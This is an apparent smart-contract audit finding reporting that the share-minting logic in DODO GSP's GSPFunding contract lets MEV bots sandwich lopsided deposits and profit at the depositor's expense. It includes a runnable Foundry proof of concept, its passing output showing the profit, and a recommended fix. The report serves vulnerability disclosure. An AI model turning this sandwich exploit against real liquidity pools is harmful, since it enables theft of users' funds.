Harsh Tangerine Ram

high

# GSPFunding contract can be sandwiched by MEV to steal funds

## Summary

Due to share allocation problem, the GSPFunding contract can be sandwiched by MEV to steal users's funds if victim buy shares with base token much more than quote token.


## Vulnerability Detail

When users buy shares in normal case after the first buy shares, the share allocation is showed below:

```solidity
    else if (baseReserve > 0 && quoteReserve > 0) {
        // case 2. normal case
        uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
        uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
        uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
        // The shares will be minted to user
        shares = DecimalMath.mulFloor(totalSupply, mintRatio);

        // The target will be updated
        _BASE_TARGET_ = uint112(uint256(_BASE_TARGET_) + (DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)));
        _QUOTE_TARGET_ = uint112(uint256(_QUOTE_TARGET_) + (DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)));
    }
    // The shares will be minted to user
    // The reserve will be updated
    _mint(to, shares);
```

It uses the lesser of quoteInputRatio and baseInputRatio. So if the quoteInputRatio is less than baseInputRatio, the mintRatio will be quoteInputRatio. The mintRatio is used to calculate the shares to be minted to user and the target to be updated. In case some users transfer to GSP with base token much more quote token, the users get less shares than he should, MEV can monitor the `buyShares` tx, once the tx satisfy the conditions, the users can be sandwiched by malicious MEV to steal funds.

Runnable PoC shows below, inserting the case to `test/GSPFunding.t.sol`:

```solidity
function test_buyShares_mev() public {
    vm.startPrank(USER);
    dai.transfer(address(gsp), BASE_RESERVE);
    usdc.transfer(address(gsp), QUOTE_RESERVE);
    assertEq(gsp.totalSupply(), 0);
    gsp.buyShares(USER);
    assertTrue(gsp._BASE_RESERVE_() == BASE_RESERVE);
    assertTrue(gsp._QUOTE_RESERVE_() == QUOTE_RESERVE);
    assertGt(gsp.totalSupply(), 0);
    vm.stopPrank();

    // 1. mev buy shares with BASE_INPUT and QUOTE_INPUT
    address mev = vm.addr(0x1111);
    vm.startPrank(mev);
    deal(DAI, mev, BASE_INPUT);
    deal(USDC, mev, QUOTE_INPUT);
    dai.transfer(address(gsp), BASE_INPUT);
    usdc.transfer(address(gsp), QUOTE_INPUT);
    (uint256 shares_01,,) = gsp.buyShares(mev);
    console.log("shares_01: %s", shares_01);
    vm.stopPrank();

    // 2. victim buy shares with many base token and little quote token
    address victim = vm.addr(0x1234);
    vm.startPrank(victim);
    deal(DAI, victim, 10000 * 1e18);
    uint256 victim_usdc = 1 * 1e6;
    deal(USDC, victim, 10000 * 1e6);
    dai.transfer(address(gsp), 10000 * 1e18);
    usdc.transfer(address(gsp), victim_usdc);
    (uint256 shares_02, , ) = gsp.buyShares(victim);
    console.log("shares_02: %s", shares_02);
    vm.stopPrank();
    assertGt(shares_01, shares_02);

    // 4. mev get profit after he sell all his shares
    vm.startPrank(mev);
    gsp.sellShares(shares_01, mev, 0, 0, "", block.timestamp);
    uint256 dai_profit = (dai.balanceOf(mev) - BASE_INPUT) / 1e18;
    uint256 usdc_profit = (QUOTE_INPUT - usdc.balanceOf(mev)) / 1e6;
    uint256 total_profit = dai_profit - usdc_profit;
    assertGt(total_profit, 0);
    console.log("total profit: ", total_profit);
    vm.stopPrank();
}
```

Results:
```ts
[PASS] test_buyShares_mev() (gas: 933616)
Logs:
  shares_01: 1000000000000000000
  shares_02: 916666666666666663
  total profit:  839
```

## Impact

Innocent users can be sandwiched by MEV to steal funds.

## Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L67-L71

## Tool used

vscode, Manual Review

## Recommendation

Change the shares allocation algorithm, one solution is get the average of quoteInputRatio and baseInputRatio to decide the shares to be minted.